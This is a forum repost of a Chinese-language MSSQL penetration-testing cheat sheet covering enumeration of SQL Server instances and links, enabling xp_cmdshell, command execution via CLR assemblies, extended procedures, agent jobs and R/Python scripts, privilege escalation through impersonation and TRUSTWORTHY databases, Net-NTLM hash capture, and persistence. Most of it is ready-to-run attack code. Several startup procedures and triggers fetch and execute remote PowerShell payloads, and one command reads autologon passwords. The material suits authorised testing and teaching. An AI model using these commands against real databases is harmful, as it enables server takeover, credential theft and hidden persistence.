安全矩阵

 找回密码
 立即注册
搜索
查看: 1916|回复: 0

MSSQL 备忘录

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-5-28 14:32:18 | 显示全部楼层 |阅读模式
MSSQL 备忘录BlackWasp [url=]Khan安全攻防实验室[/url] 2022-05-23 08:46 发表于广东
https://mp.weixin.qq.com/s?__biz=MzAwMjQ2NTQ4Mg==&mid=2247489327&idx=1&sn=1c939fa0b403954c82a9affa3b488e19&chksm=9acb5c8aadbcd59cf329cf91c049bda6579dc250aa54fb1c6d2b73b126d4464c93e21d9c78f0&mpshare=1&scene=23&srcid=0523OKilu4gRBCv3h3WkGdUA&sharer_sharetime=1653309443198&sharer_shareid=c76aaa3425ff4f89e7c52ebfced68937#rd
编辑

数据库枚举的基本 SQL Server 查询

#View all db in an instanceGet-SQLQuery -Instance <instance> -Query "SELECT name FROM sys.databases"#View all tablesGet-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.TABLES" #View all cols in all tables in a dbGet-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.columns"#View data in tableGet-SQLQuery -Instance <instance> -Query "USE Employees;SELECT * FROM ITEmployees"
枚举 SPN / 查找 MSSQL 服务器

#TCP/UDP port scanGet-SQLInstanceScanUDP#DB in the domainGet-SQLInstanceDomain#Local DBGet-SQLInstanceLocal
收集信息
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

检查访问
Get-SQLConnectionTestThreadedGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -VerboseGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -Verbose
枚举数据库用户


           

Get-SQLFuzzServerLogin -Instance <instance> -Verbose

检查模拟权


           

Invoke-SQLAudit -Verbose -Instance instance.domain.local

枚举 SQL Server 链接


           
  •         数据库链接允许 SQL Server 访问外部数据源,如其他 SQL Server 和 OLE DB 数据源。

           
  •         在 SQL 服务器之间的数据库链接的情况下,即链接的 SQL 服务器,可以执行存储过程。

           
  •         数据库链接甚至可以跨林信任工作。

Get-SQLServerLink -Instance <instance> -Verbose#Orselect * from master..sysservers
枚举数据库链接
Get-SQLServerLinkCrawl -Instance <instance> -Verbose#Orselect * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
枚举域用户
Get-SQLFuzzDomainAccount -Instance <instance.domain.local> -StartId 500 -EndId 2000 -Verbose

命令执行xp_cmdshell


           
  •         在目标服务器上,任何一个xp_cmdshell都应该已经启用;

           
  •         如果启用rpcout(默认禁用),xp_cmdshell可以使用以下命令启用:

EXECUTE('sp_configure ''Show Advanced Options'',1;reconfigure;') AT "<instance>" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<instance>"


           
  •         如果rpcout被禁用但我们是sa,则可以使用EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true'。


通过 DB 链接执行的命令:
Get-SQLServerLinkCrawl -Instance <instance> -Query "exec master..xp_cmdshell 'whoami'"Get-SQLServerLinkCrawl -Instance <instance> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://172.16.100.168:8080/Invoke-HelloWorld.ps1'')"'#Orselect * from openquery("<instance>",'select * from openquery("<instance2>",''select * from openquery("<instance3>.domain.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
使用 PowerUpSQL:


           

Invoke-SQLOSCmd -Username sa -Password <password> -Instance <instance> -Command whoami

扩展存储过程


           
  •         充当 SQL 服务器扩展的 DLL。DLL 需要在磁盘上。

           
  •         在 DLL 中注册每个扩展存储过程都需要 sysadmin 权限。

           
  •         以服务帐户的权限执行,并在 SQL Server 的进程空间中运行。

           
  •         DLL 可以具有任何文件扩展名,也可以从 UNC 路径或 Webdav 加载。



           

  •        

  •        

Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calcGet-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "EXEC xp_calc"
列出现有的扩展过程


           

Get-SQLStoredProcedureXP -Instance <instance> -Verbose

CLR 程序集


           
  •         CLR(Common Language Runtime)是.NET框架提供的运行时环境。SQL Server 支持 CLR 集成,它允许通过导入 DLL 来编写存储过程和其他内容。

           
  •         CLR 集成默认关闭,默认情况下需要系统管理员权限才能使用它。创建程序集、更改程序集或DDL_Admin角色也可以使用它。

           
  •         执行以服务帐户的权限进行。



           

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

use msdbGO-- Enable show advanced options on the serversp_configure 'show advanced options',1RECONFIGUREGO-- Enable clr on the serversp_configure 'clr enabled',1RECONFIGUREGO-- Import the assemblyCREATE ASSEMBLY my_assemblyFROM '\\192.168.15.2\fileserver\cmd_exec.dll'WITH PERMISSION_SET = UNSAFE;GO-- Link the assembly to a stored procedureCREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];GOcmd_exec 'whoami'-- CleanupDROP PROCEDURE cmd_execDROP ASSEMBLY my_assembly
使用 PowerUpSQL


           

  •        

  •        

  •        

  •        

  •        

  •        

  •        

#Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal stringCreate-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop#Execute command using CLR assemblyInvoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose#List all the stored procedures added using CLRGet-SQLStoredProcedureCLR -Instance <instance> -Verbose
Ole 自动化程序


           
  •         允许使用 SQL 查询使用 COM 对象的系统存储过程。

           
  •         默认关闭。启用它需要 syadmin 权限。

           
  •         执行权限,sp_OACreate也sp_OAMethod可用于执行。

           
  •         执行以服务帐户的权限进行。



           

  •        

Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -VerboseInvoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose
代理工作


           
  •         SQL Server 代理是执行计划任务或作业的 Windows 服务。

           
  •         可以调度、执行作业以响应警报或使用sp_start_job存储过程。

           
  •         需要 sysadmin 角色才能创建作业。

           
  •         也可以使用在 msdb 数据库中具有SQLAgentUserRole、SQLAgentReaderRole和SQLAgentOperatorRole固定数据库角色的非系统管理员用户。

           
  •         如果未配置代理帐户,则使用 SQL Server 代理服务帐户的权限执行。



           

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

-- PowerShellUSE msdbEXEC dbo.sp_add_job @job_name = N'PSJob'EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5EXEC dbo.sp_add_jobserver @job_name = N'PSJob'EXEC dbo.sp_start_job N'PSJob'-- EXEC dbo.sp_delete_job @job_name = N'PSJob'-- CmdExecUSE msdbEXEC dbo.sp_add_job @job_name = N'cmdjob' EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'EXEC dbo.sp_start_job N'cmdjob';-- EXEC dbo.sp_delete_job @job_name = N'cmdJob'
使用 PowerUpSQL


           

Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose -Subsystem CmdExec -Subsystem VBScript -Subsystem Jscript

其他脚本:

R


           

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

sp_configure 'external scripts enabled'GOEXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'WITH RESULT SETS (([cmd_out] text));GO-- Grab Net-NTLM hash@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'-- Or@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
Python


           

  •        

EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'WITH RESULT SETS (([cmd_out] nvarchar(max)))
PowerUpSQL

#RInvoke-SQLOSCmdR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose#PythonInvoke-SQLOSCmdPython -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose
权限提升
对系统管理员公开 - 模拟
可以通过User Impersonation来实现Execute AS

检查模拟权

Invoke-SQLAuditPrivImpersonateLogin -Username <username> -Password <password> -Instance <instance> -Verbose

模拟用户


           

Invoke-SQLAuditPrivImpersonateLogin -Instance <instance> -Exploit -Verbose

对系统管理员公开 - 值得信赖的数据库


           
  •         is_trustworthy_on用于指示 SQL Server 实例是否信任数据库及其内容的数据库属性 ( )。

           
  •         当 TRUSTWORTHY 关闭时,模拟用户(通过使用 EXECUTE AS)将仅具有数据库范围的权限,但当 TRUSTWORTHY 打开时,模拟用户可以执行具有服务器级别权限的操作。这允许编写可以执行使用服务器级别权限的代码的程序。

           
  •         如果 TRUSTWORTHY 设置设置为 ON,并且 sysadmin(不一定是 sa)是数据库的所有者,则数据库所有者(具有 的用户db_owner)可以将权限提升到 sysadmin。


寻找值得信赖的


           

  •        

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
PowerUpSQL


           

  •        

Invoke-SQLAudit -Instance <instance.domain.local> -Verbose | Out-GridViewInvoke-SQLAuditPrivTrustworthy -Instance <instance> -Verbose
寻找 db_owner 角色

use <database>SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserNameFROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R'ORDER BY DP1.name;
执行为:

EXECUTE AS USER = 'dbo'SELECT system_userEXEC sp_addsrvrolemember 'domain\user','sysadmin'
公共服务帐户

UNC 路径注入


           

Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2

服务帐户到 SYSTEM

持久性 - 启动存储过程

每次重新启动 SQL 服务时重新启动的过程

-- Create a stored procedureUSE masterGOCREATE PROCEDURE sp_autopsASEXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'GO-- Mark the stored procedure for automatic executioEXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';-- Now, whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload-- List stored procedures marked for automatic execution:SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
触发器

DDL 触发器

CREATE Trigger [persistence_ddl_1]ON ALL Server -- or DATABASEFOR DDL_LOGIN_EVENTS -- See the docs below for events and event groupsASEXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'GO
DML 触发器

USE masterGRANT IMPERSONATE ON LOGIN::sa to [Public];USE testdbCREATE TRIGGER [persistence_dml_1]ON testdb.dbo.datatableFOR INSERT, UPDATE, DELETE ASEXECUTE AS LOGIN = 'sa'EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'GO
登录触发器

CREATE Trigger [persistence_logon_1]ON ALL SERVER WITH EXECUTE AS 'sa'FOR LOGONASBEGINIF ORIGINAL_LOGIN() = 'testuser'EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'END;
登记处

将xp_regread(作为系统管理员)与 PowerUpSQL 一起使用。以下命令从注册表读取自动登录密码。

Get-SQLRecoverPwAutoLogon -Username sa -Password <password> -Instance <instance> -Verbose

https://hideandsec.sh/books/chea ... numerate-sql-server

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 11:35 , Processed in 0.014946 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表